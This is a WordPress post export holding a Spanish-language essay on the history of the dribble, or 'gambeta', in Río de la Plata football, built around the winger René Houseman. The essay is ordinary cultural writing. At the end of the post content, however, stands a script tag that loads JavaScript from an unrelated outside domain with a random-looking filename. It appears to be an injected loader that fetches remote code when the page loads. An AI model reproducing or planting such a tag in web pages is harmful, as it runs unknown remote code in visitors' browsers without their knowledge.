{"id":21841,"date":"2020-10-25T16:17:23","date_gmt":"2020-10-25T16:17:23","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=21841"},"modified":"2020-10-25T20:30:45","modified_gmt":"2020-10-25T20:30:45","slug":"21841","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/10\/25\/21841\/","title":{"rendered":"El hechizo de una gambeta : or\u00edgenes del dribbling y otras emociones futboleras"},"content":{"rendered":"<p class=\"has-drop-cap has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Ese prodigio era una mezcla rara entre Garrincha y Maradona, seg\u00fan dec\u00eda C\u00e9sar Luis Menotti. Era fumador, bebedor, \u2018loco\u2019, pero, ante todo, un gambeteador de fantas\u00eda. Alguien que, con el bal\u00f3n a los pies, era una especie de brujo, de Merl\u00edn, un superdotado para esa maniobra que al principio, cuando el f\u00fatbol a\u00fan ten\u00eda todo el influjo verbal de sus inventores \u2014los flem\u00e1ticos ingleses\u2014 se llamaba el <em>dribbling<\/em>. Hablo, claro, de Ren\u00e9 Houseman, un alero, un <em>wing<\/em>, puntero de raya, desbordador, que alguna vez le hizo un t\u00fanel (ellos, los argentinos, lo llaman ca\u00f1o) o, como lo connot\u00e1bamos en el barrio: una orde\u00f1ada, \u00bfa qui\u00e9n? Nada menos que a Pel\u00e9.<\/span><\/p>\n<figure style=\"width: 599px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"\" src=\"https:\/\/www.fotorevista.com.ar\/Contest\/M22\/Fotos\/1899-04.jpg\" alt=\"\" width=\"599\" height=\"399\" \/><figcaption class=\"wp-caption-text\"><strong>Una pelotita, un regate y toda la imaginaci\u00f3n en una jugada<\/strong><\/figcaption><\/figure>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Pudo ser mejor que Maradona. Pudo ser mejor que todos. No le dio la gana. O, qui\u00e9n sabe, el alcohol, la fiesta, el volarse de las concentraciones para ir a ver picados barriales o, claro, para beber y desbocarse, lo convirtieron en una leyenda urbana muy extra\u00f1a. \u201cY chupe, chupe, chupe, no deje de chupar. El \u2018Loco\u2019 es el m\u00e1s grande del f\u00fatbol nacional\u201d, rug\u00eda la afici\u00f3n. En cualquier caso, era un gambeteador de categor\u00eda, incre\u00edble. Parec\u00eda mentira aquel regate, aquella manera de pisar el bal\u00f3n, de dejar regados a los contrarios y seguir como una m\u00e1quina humana hacia adelante, hacia la ef\u00edmera \u2014pero org\u00e1smica\u2014 gloria del gol.<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Y menciono a Houseman porque, en realidad, de lo que quiero conversar es sobre el <em>dribbling<\/em>. De d\u00f3nde procede esa manera inveros\u00edmil de eludir al rival. No es propio de ingleses ni franceses ni alemanes. Es una condici\u00f3n esencial sudamericana. Como si fuera un conjuro contra miserias y otros obst\u00e1culos epistemol\u00f3gicos. Como si con esos movimientos impredecibles en un potrero, en un gramado, en un tierrero, se estuviera cambiando el mundo.<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">El f\u00fatbol, el del gozar porque s\u00ed, el del barrio, el de los bald\u00edos y otros potreros, es (o era) una condici\u00f3n del ejercicio infinito de la imaginaci\u00f3n. Una forma de la alegr\u00eda sin pretensiones de grandeza, solo de diversi\u00f3n, de fiesta profana en la que se mezclan la amistad, los afectos, la solidaridad. El juego por el juego mismo. De manera que se pod\u00eda apelar a la picard\u00eda, el enga\u00f1o con gracia, la elusi\u00f3n del rival de modo de dejarlo indefenso, y quiz\u00e1 puto y rumiando desventuras. No me digan, por ejemplo, que en todo el inventario de gambetas que existe, el lance m\u00e1s humillante para el rival es pasarle la pelota por entre las piernas. Goza uno haci\u00e9ndolo. Y sufre, hijueputea, se lamenta, y quiere hasta \u201cmatar\u201d al rival, cuando es uno la v\u00edctima, ja, ja\u2026<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">El <em>dribbling<\/em> tiene que ver, adem\u00e1s de la necesaria habilidad, con el car\u00e1cter. No cualquiera se atreve a burlar contrarios as\u00ed, con ingenio, con malicia, con amagues y movimientos de pies que hipnotizan (cuando no idiotizan) al otro. Hay que tener cierta desverg\u00fcenza, temperamento y nada de pesar frente al que ten\u00e9s al frente, al que te quiere impedir el paso. Es como ir avanzando entre un ej\u00e9rcito enemigo que se opone a tu desplazamiento. Y hay que tener la imaginaci\u00f3n muy despierta para lograr burlar las intentonas del otro por obstaculizar.<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">No s\u00e9 si habr\u00e1 una historia del <em>dribbling <\/em>futbolero, o, mejor dicho, de la gambeta, que es t\u00e9rmino lunfardo. En cualquier caso creo que su origen est\u00e1 en el R\u00edo de la Plata, tanto en Buenos Aires como Montevideo, tierras de tango. El cronista Borocot\u00f3 (Ricardo Lorenzo), uruguayo y argentino a la vez, escribi\u00f3 hace tiempos en <em>El Gr\u00e1fico<\/em> que driblear es propio de estas tierras que han sido carne de ca\u00f1\u00f3n y presa de diversos saqueos y desmanes colonialistas (y neocolonialistas).<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">\u201cDribleamos a la pobreza con sonrisas de eternos optimistas, dribleamos sobre el piso encerado de las milongas, dribleamos a los prestamistas que nos persiguen hasta la muerte con los pagar\u00e9s\u2026\u201d, escribi\u00f3 en una nota de 1928. Y tras establecer varias hip\u00f3tesis sobre el origen de esa maniobra, dec\u00eda que en aquellos potreros de la memoria, llenos de pibes, de jugadores de un partido, en el que a veces eran innumerables los participantes, hab\u00eda que llegar al otro lado, a la porter\u00eda contraria (quiz\u00e1 de palitos, de camisas envueltas, de piedras, de qui\u00e9n sabe qu\u00e9 otros delimitadores de emergencia), eludiendo. No haciendo pases de primera, sino que hab\u00eda una suerte de desaf\u00edo personal, de reto individual. Y entonces era el momento de probarse c\u00f3mo atravesar aquel mar de piernas.<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Y as\u00ed fueron surgiendo los firuletes de ingenio, los quiebres de cintura, el amagar hacia un lado e irse por el otro, la pelota (casi siempre de trapo en aquellos lugares de pobrezas y otras carencias) pegada al pie y de s\u00fabito un movimiento inesperado. Las mejores c\u00e1tedras de f\u00fatbol (recordar que en Inglaterra el f\u00fatbol se hac\u00eda en los colegios, se ense\u00f1aba all\u00ed como parte del pensum) se dictaban en los potreros, recordaba Borocot\u00f3, guionista con Leopoldo Torres R\u00edos del filme <em>Pelota de trapo<\/em>.<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Para el <em>dribbling<\/em> se usaban los sentidos, la intuici\u00f3n, se miraba un lado para irse por el otro, se acud\u00eda a la habilidad intr\u00ednseca, a los movimientos sutiles, a los desplazamientos ins\u00f3litos, a mover las piernas de distintas maneras como un baile carnavalesco. Dec\u00eda que la palabra m\u00e1s adecuada, m\u00e1s acorde con la lengua de estas naciones futboleras, es gambeta. Procede del italiano gamba (pierna), que pas\u00f3 al lunfardo del tango para referirse a los movimientos bailables bautizados como gambetas, deslumbradores y elegantes.<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Y el f\u00fatbol adapt\u00f3 la gambeta tanguera para referirse a esos movimientos sorpresivos, r\u00e1pidos, con los que se eluden contrarios y se dejan regados en el camino hacia la b\u00fasqueda del gol. Y as\u00ed, con fintas, regates, amagues, el repertorio de jugadas creci\u00f3, como parte no solo del ingenio popular sino de la rebeld\u00eda, la irreverencia, la libertad, la creatividad\u2026 Una demostraci\u00f3n de repentismo y arte sobre la marcha.<\/span><\/p>\n<p style=\"text-align: justify;\" data-adtags-visited=\"true\"><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"https:\/\/pbs.twimg.com\/media\/Edm8II7WAAEoFPV.jpg\" width=\"601\" height=\"531\" \/><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">En aquellas mangas de la infancia y la adolescencia se buscaba el arco contrario con una previa de jugadas insospechadas, de improvisaciones geniales, de esguinces a veces incre\u00edbles por la destreza en la ejecuci\u00f3n, que era parte del mundo imaginativo de un deporte como el f\u00fatbol. Driblar era parte de un repertorio que en cada \u201cpicado\u201d, en cada partidito de potrero, de calle, de cancha improvisada, se exhib\u00eda con espontaneidad y, por qu\u00e9 no, con cierto desenfado.<\/span><\/p>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">La gambeta es una muestra de recursividad e ingenio. Recordaba al principio a uno de los excelsos dribladores que en el mundo han sido, Ren\u00e9 Houseman, jugador del Hurac\u00e1n, de otros equipos argentinos y de la selecci\u00f3n de ese pa\u00eds. Era un inventor. Sobre la marcha sacaba gambetas de su alucinante cat\u00e1logo de mago. Imposibles. Quiz\u00e1 su talento le vino de la villa miseria en la que naci\u00f3 y creci\u00f3. No soportaba concentraciones. Era un indomable. Siempre se arrepinti\u00f3 de haberle dado la mano al dictador Jorge Videla cuando Argentina gan\u00f3 el campeonato mundial de 1978.<\/span><\/p>\n<ul>\n<li style=\"text-align: justify;\">\n<figure style=\"width: 688px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/extranoticias.com.ar\/wp-content\/uploads\/2018\/03\/house.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/extranoticias.com.ar\/wp-content\/uploads\/2018\/03\/house.jpg\" alt=\"El adi\u00f3s a un campe\u00f3n: Ren\u00e9 Houseman | Extra Noticias\" width=\"688\" height=\"386\" data-id=\"\" \/><\/a><figcaption class=\"wp-caption-text\"><strong>Ren\u00e9 Houseman, un mago de la gambeta<\/strong><\/figcaption><\/figure>\n<p><span style=\"font-size: 12pt;\">En el negocio del f\u00fatbol cada vez erradican de los estadios la ejecuci\u00f3n de jugadas de fantas\u00eda. Parecen proscritas las demostraciones de talento. Para muchos que ya peinamos canas y que fuimos jugadores de potrero, la memoria est\u00e1 plena de gambetas sin l\u00edmite. Hab\u00eda suficiente poes\u00eda en aquellos juegos en que la imaginaci\u00f3n desbordada era la loca de la manga.<\/span><\/li>\n<\/ul>\n<p class=\"has-medium-font-size\" style=\"text-align: justify;\" data-adtags-visited=\"true\"><span style=\"font-size: 12pt;\">Siempre ser\u00e1 una dicha ver gambetas como las del \u201cLoco\u201d Houseman o como aquellas que abundaban en las desaparecidas canchas de la infancia.<\/span><\/p>\n<p style=\"text-align: center;\" data-adtags-visited=\"true\"><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/_eugWQCP3ZY\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002; text-align: justify;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\"><span style=\"font-size: 12pt;\">What do you want to do ?<\/span><\/div>\n<p><span style=\"font-size: 12pt;\"><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/span><\/p>\n<\/div>\n<\/div>\n<div style=\"text-align: justify;\"><strong><span style=\"font-size: 14pt;\">Reinaldo Spitaletta para La Pluma, 25 de octubre de 2020<\/span><\/strong><\/div>\n<div>\n<div><\/div>\n<div><strong><span style=\"font-size: 14pt;\">Editado por <a href=\"http:\/\/www.lapluma.net\/nosotros\/editora\/\">Mar\u00eda Piedad Ossaba<\/a><\/span><\/strong><\/div>\n<\/div>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Para muchos que ya peinamos canas y que fuimos jugadores de potrero, la memoria est\u00e1 plena de gambetas sin l\u00edmite. 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